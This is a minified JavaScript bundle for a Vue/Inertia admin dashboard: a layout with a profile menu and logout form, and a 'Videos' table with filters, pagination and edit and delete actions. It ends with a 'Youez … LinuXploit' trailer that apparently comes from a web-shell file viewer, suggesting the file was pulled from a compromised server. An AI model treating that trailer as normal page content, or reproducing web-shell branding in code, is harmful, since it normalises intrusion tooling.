h-4",attrs:{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor"}},[r("path",{attrs:{"fill-rule":"evenodd",d:"M3 5a1 1 0 011-1h12a1 1 0 110 2H4a1 1 0 01-1-1zM3 10a1 1 0 011-1h12a1 1 0 110 2H4a1 1 0 01-1-1zM3 15a1 1 0 011-1h12a1 1 0 110 2H4a1 1 0 01-1-1z","clip-rule":"evenodd"}})])]),e._v(" "),r("div",{staticClass:"hidden -ml-3 form-icon md:block w-96"},[r("inertia-link",{staticClass:"text-sm font-semibold px-4 py-5 capitalize",attrs:{href:e.route("home")}},[e._v("\n                        "+e._s(e.__(e.$page.props.user.role_id))+" "+e._s(e.__("Dashboard"))+"\n                    ")])],1),e._v(" "),r("div",{staticClass:"flex items-center"},[r("a",{staticClass:"flex text-gray-500",attrs:{href:"#"}},[r("svg",{staticClass:"flex-shrink-0 w-5 h-5",attrs:{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor"}},[r("path",{attrs:{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zM10 18a3 3 0 01-3-3h6a3 3 0 01-3 3z"}})])]),e._v(" "),r("div",{staticClass:"ltr:ml-4 rtl:mr-4 relative"},[r("arc-dropdown",{attrs:{align:"right",width:"48"},scopedSlots:e._u([{key:"trigger",fn:function(){return[e.$page.props.jetstream.managesProfilePhotos?r("button",{staticClass:"flex border-2 border-transparent rounded-full focus:outline-none focus:border-gray-300 transition duration-150 ease-in-out"},[r("img",{staticClass:"h-8 w-8 rounded-full object-cover",attrs:{src:e.$page.props.user.profile_photo_url,alt:e.$page.props.user.name}})]):r("span",{staticClass:"inline-flex rounded-md"},[r("button",{staticClass:"inline-flex items-center px-3 py-2 border border-transparent leading-4 font-medium rounded-md text-gray-500 bg-white hover:text-gray-700 focus:outline-none transition ease-in-out duration-150",attrs:{type:"button"}},[e._v("\n                                            "+e._s(e.$page.props.user.name)+"\n\n                                            "),r("svg",{staticClass:"ml-2 -mr-0.5 h-4 w-4",attrs:{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor"}},[r("path",{attrs:{"fill-rule":"evenodd",d:"M5.293 7.293a1 1 0 011.414 0L10 10.586l3.293-3.293a1 1 0 111.414 1.414l-4 4a1 1 0 01-1.414 0l-4-4a1 1 0 010-1.414z","clip-rule":"evenodd"}})])])])]},proxy:!0},{key:"content",fn:function(){return[r("div",{staticClass:"block px-4 py-2 text-xs text-gray-400"},[e._v("\n                                    "+e._s(e.__("Manage Account"))+"\n                                ")]),e._v(" "),r("arc-dropdown-link",{attrs:{href:e.route("profile.show")}},[e._v("\n                                    "+e._s(e.__("Profile"))+"\n                                ")]),e._v(" "),e.$page.props.jetstream.hasApiFeatures?r("arc-dropdown-link",{attrs:{href:e.route("api-tokens.index")}},[e._v("\n                                    "+e._s(e.__("Api Tokens"))+"\n                                ")]):e._e(),e._v(" "),r("div",{staticClass:"border-t border-gray-100"}),e._v(" "),r("form",{attrs:{method:"post",action:e.route("logout")}},[r("input",{attrs:{type:"hidden",name:"_token"},domProps:{value:e.$page.props.csrf_token}}),e._v(" "),r("arc-dropdown-link",{attrs:{as:"button"}},[e._v("\n                                        "+e._s(e.__("Logout"))+"\n                                    ")])],1)]},proxy:!0}])})],1)])]),e._v(" "),r("section",[r("div",{staticClass:"container mx-auto pt-4 px-4 sm:px-6 lg:px-8"},[r("div",{staticClass:"flex flex-col md:flex-row items-start md:items-center justify-between"},[r("div",[e._t("header")],2),e._v(" "),r("div",{staticClass:"mb-6 sm:mb-0 sm:mt-0"},[e._t("actions")],2)])])]),e._v(" "),r("main",[r("div",{staticClass:"container mx-auto px-4 sm:px-6 lg:px-8"},[e.$page.props.successMessage?r("Message",{attrs:{severity:"success",closable:!1}},[e._v(e._s(e.$page.props.successMessage))]):e._e(),e._v(" "),e.$page.props.errorMessage?r("Message",{attrs:{severity:"error",closable:!1}},[e._v(e._s(e.$page.props.errorMessage))]):e._e()],1),e._v(" "),e._t("default")],2),e._v(" "),r("portal-target",{attrs:{name:"modal",multiple:""}}),e._v(" "),r("ConfirmDialog"),e._v(" "),r("Toast",{attrs:{position:e.$page.props.rtl?"bottom-left":"bottom-right"}}),e._v(" "),r("Toast",{attrs:{position:e.$page.props.rtl?"top-left":"top-right",group:"lm"}})],1),e._v(" "),r("div",{directives:[{name:"show",rawName:"v-show",value:e.sideBar,expression:"sideBar"}],staticClass:"fixed inset-0 z-10 w-screen h-screen bg-black bg-opacity-25 md:hidden",on:{click:function(t){e.sideBar=!1}}})])])}),[],!1,null,null,null).exports},88590:(e,t,r)=>{r.r(t),r.d(t,{default:()=>g});var s=r(66727),i=r(16446),a=r(93210),o=r(50298),n=r(80728),l=r(17531),c=r(72263),u=r(79333),p=r(373);function d(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==r)return;var s,i,a=[],o=!0,n=!1;try{for(r=r.call(e);!(o=(s=r.next()).done)&&(a.push(s.value),!t||a.length!==t);o=!0);}catch(e){n=!0,i=e}finally{try{o||null==r.return||r.return()}finally{if(n)throw i}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return h(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return h(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function h(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,s=new Array(t);r<t;r++)s[r]=e[r];return s}const m={components:{AdminLayout:s.Z,ArcDropdown:i.Z,ArcDropdownLink:a.Z,ActionsDropdown:p.Z,Toast:o.default,Chip:n.default,Tag:l.default,Button:c.default,NoDataTable:u.Z},props:{videos:Object},data:function(){return{createForm:!1,editForm:!1,currentId:null,columns:[{label:this.__("Code"),field:"code",filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Code"),filterValue:null,trigger:"enter"},sortable:!1,width:"11rem"},{label:this.__("Title"),field:"title",filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Title"),filterValue:null,trigger:"enter"},sortable:!1,width:"11rem"},{label:this.__("Type"),field:"type",sortable:!1,filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Type"),filterValue:null,filterDropdownItems:[{value:"mp4",text:this.__("MP4")},{value:"youtube",text:this.__("Youtube")},{value:"vimeo",text:this.__("Vimeo")}]},width:"11rem"},{label:this.__("Section"),field:"section",sortable:!1,filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Section"),filterValue:null,trigger:"enter"}},{label:this.__("Skill"),field:"skill",sortable:!1,filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Skill"),filterValue:null,trigger:"enter"}},{label:this.__("Topic"),field:"topic",sortable:!1,filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Topic"),filterValue:null,trigger:"enter"}},{label:this.__("Status"),field:"status",sortable:!1,filterOptions:{enabled:!0,placeholder:this.__("Search")+" "+this.__("Status"),filterValue:null,filterDropdownItems:[{value:1,text:this.__("Active")},{value:0,text:this.__("In-active")}]}},{label:this.__("Actions"),field:"actions",sortable:!1,width:"200px",tdClass:"text-center"}],options:{enabled:!0,mode:"pages",perPage:this.videos.meta.pagination.per_page,setCurrentPage:this.videos.meta.pagination.current_page,perPageDropdown:[10,20,50,100],dropdownAllowAll:!1},serverParams:{columnFilters:{},sort:{field:"",type:""},page:1,perPage:10},loading:!1}},metaInfo:function(){return{title:this.title}},computed:{title:function(){return this.__("Videos")+" - "+this.$page.props.general.app_name}},methods:{updateParams:function(e){this.serverParams=Object.assign({},this.serverParams,e)},onPageChange:function(e){this.updateParams({page:e.currentPage}),this.loadItems(),this.$nextTick((function(){window.renderMathInElement(this.$el)}))},onPerPageChange:function(e){this.updateParams({perPage:e.currentPerPage}),this.loadItems()},onSortChange:function(e){this.updateParams({sort:[{type:e.sortType,field:this.columns[e.columnIndex].field}]}),this.loadItems()},onColumnFilter:function(e){this.updateParams(e),this.serverParams.page=1,this.loadItems()},getQueryParams:function(){for(var e={page:this.serverParams.page,perPage:this.serverParams.perPage},t=0,r=Object.entries(this.serverParams.columnFilters);t<r.length;t++){var s=d(r[t],2),i=s[0],a=s[1];a&&(e[i]=a)}return e},loadItems:function(){this.$inertia.get(route(route().current()),this.getQueryParams(),{replace:!1,preserveState:!0,preserveScroll:!0})},editVideo:function(e){this.$inertia.get(route("videos.edit",{video:e}))},deleteVideo:function(e){var t=this;this.$confirm.require({header:this.__("Confirm Delete"),message:this.__("Do you want to delete this record?"),icon:"pi pi-info-circle",acceptClass:"p-button-danger",rejectLabel:this.__("Cancel"),acceptLabel:this.__("Delete"),accept:function(){t.$inertia.delete(route("videos.destroy",{id:e}),{},{onSuccess:function(){t.$toast.add({severity:"info",summary:t.__("Confirmed"),detail:t.__("Record deleted"),life:3e3})}})},reject:function(){}})},handleCopyStatus:function(e){e&&this.$toast.add({severity:"success",summary:this.__("Copied"),detail:this.__("Copied Successfully!"),life:2e3})}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const g=(0,r(51900).Z)(m,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("admin-layout",{scopedSlots:e._u([{key:"header",fn:function(){return[r("h4",{staticClass:"page-heading"},[e._v(e._s(e.__("Videos")))])]},proxy:!0},{key:"actions",fn:function(){return[r("inertia-link",{staticClass:"qt-btn qt-btn-success",attrs:{href:e.route("videos.create")}},[e._v("\n            "+e._s(e.__("New"))+" "+e._s(e.__("Video"))+"\n        ")])]},proxy:!0}])},[e._v(" "),e._v(" "),r("div",{staticClass:"container mx-auto py-8 px-4 sm:px-6 lg:px-8"},[r("div",{staticClass:"card"},[r("div",{staticClass:"card-body"},[r("vue-good-table",{attrs:{mode:"remote","pagination-options":e.options,columns:e.columns,totalRows:e.videos.meta.pagination.total,rows:e.videos.data,rtl:e.$page.props.rtl},on:{"on-page-change":e.onPageChange,"on-column-filter":e.onColumnFilter,"on-per-page-change":e.onPerPageChange},scopedSlots:e._u([{key:"table-row",fn:function(t){return["code"===t.column.field?r("div",[r("Tag",{directives:[{name:"clipboard",rawName:"v-clipboard:copy",value:t.row.code,expression:"props.row.code",arg:"copy"},{name:"clipboard",rawName:"v-clipboard:success",value:e.handleCopyStatus,expression:"handleCopyStatus",arg:"success"}],staticClass:"w-full p-mr-2 text-sm cursor-pointer",attrs:{value:t.row.code,icon:"pi pi-copy"}})],1):"status"===t.column.field?r("div",[r("span",{class:["Active"===t.row.status?"badge-success":"badge-danger","badge"]},[e._v(e._s(e.__(t.row.status)))])]):"actions"===t.column.field?r("div",[r("actions-dropdown",{scopedSlots:e._u([{key:"actions",fn:function(){return[r("button",{staticClass:"action-item",on:{click:function(r){return e.editVideo(t.row.id)}}},[e._v(e._s(e.__("Edit")))]),e._v(" "),r("button",{staticClass:"action-item",on:{click:function(r){return e.deleteVideo(t.row.id)}}},[e._v(e._s(e.__("Delete")))])]},proxy:!0}],null,!0)})],1):r("span",[e._v("\n                          "+e._s(t.formattedRow[t.column.field])+"\n                        ")])]}}])},[e._v(" "),r("div",{attrs:{slot:"emptystate"},slot:"emptystate"},[r("no-data-table")],1)])],1)])])])}),[],!1,null,null,null).exports}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit